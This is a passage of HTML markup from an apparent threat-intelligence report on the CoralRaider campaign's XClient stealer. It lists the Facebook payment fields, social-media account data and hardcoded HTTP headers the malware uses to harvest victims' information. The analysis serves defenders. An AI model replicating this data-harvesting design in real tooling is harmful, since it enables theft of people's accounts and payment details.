font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Value Place holders</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">pm_credit_card</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">display_string, exp_month, exp_year, is_verified</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">payment_method_direct_debits</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">address, can_verify, display_string, s_awaiting, is_pending,</span></p><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">status</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">payment_method_paypal</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">email_address</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">payment_method_tokens</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Current_balance, original_balance, time_expire, type</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">amount_spent, userpermissions</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user, role</span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>&#xA0;Using the graph API, XClient stealer retrieves victims&#x2019; account friend list details and pictures.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/AV_ELwLYyVTZz0O82q040Q5_6qfOfGXGg5an24ULXqxR96W4ZRZciwW9d3AC_7zgpOM4Zdq-JAuf7rZQ-l9vjrLJAmPrCSk4DbukJOwgTrNqjexvTdWofmfTvY9JudP9Vyzvtmnl5s0IXl7Dai7u9DQ" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1100" height="524"></figure><p>XClient stealer also targets the victim&#x2019;s Instagram account and YouTube accounts through the URLs and collects various information, including username, badge_count, appID, accountSectionListRenderer, contents, title, data, actions, getMultiPageMenuAction, menu, multiPageMenuRenderer, sections and hasChannel. It collects the application data from the Telegram desktop and Discord application on the victim&#x2019;s machine. XClient also collects the data from the victim&#x2019;s TikTok business account and checks for business ads.&#xA0;</p><p>Talos compiled the hardcoded HTTP request header metadata the XClient stealer uses in this campaign while retrieving the victim&#x2019;s information from Facebook, Instagram, and YouTube accounts.&#xA0;</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse; table-layout: fixed; width: 468pt;"><colgroup><col></colgroup><tbody><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Facebook</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><ul style="margin-top: 0px; margin-bottom: 0px; padding-inline-start: 48px;"><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-mobile: ?0</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-platform: \&quot;Windows\&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-dest: document</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-mode: navigate</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-site: none</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-user: ?1</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">upgrade-insecure-requests: 1</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua: \&quot;Not?A_Brand\&quot;;v=\&quot;8\&quot;, \&quot;Chromium\&quot;;v=\&quot;108\&quot;, \&quot;Google Chrome\&quot;;v=\&quot;108\&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-mobile: ?0</span></p></li></ul><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Instagram</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><ul style="margin-top: 0px; margin-bottom: 0px; padding-inline-start: 48px;"><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Prefers-Color-Scheme: light</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Ua: &quot;Google Chrome&quot;; v = &quot;113&quot;, &quot;Chromium&quot;; v = &quot;113&quot;, &quot;Not-A.Brand&quot;; v = &quot;24&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Ua-Full-Version-List: &quot;Google Chrome&quot;; v = &quot;113.0.5672.127&quot;, &quot;Chromium&quot;; v = &quot;113.0.5672.127&quot;, &quot;Not-A.Brand&quot;; v = &quot;24.0.0.0&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Ua-Mobile: ?0</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Ua-Platform: &quot;Windows&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Ch-Ua-Platform-Version: &quot;10.0.0&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Fetch-Dest: document</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Fetch-Mode: navigate</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Fetch-Site: none</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sec-Fetch-User: ?1</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Upgrade-Insecure-Requests: 1</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 113.0.0.0 Safari / 537.36</span></p></li></ul><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Youtube</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><ul style="margin-top: 0px; margin-bottom: 0px; 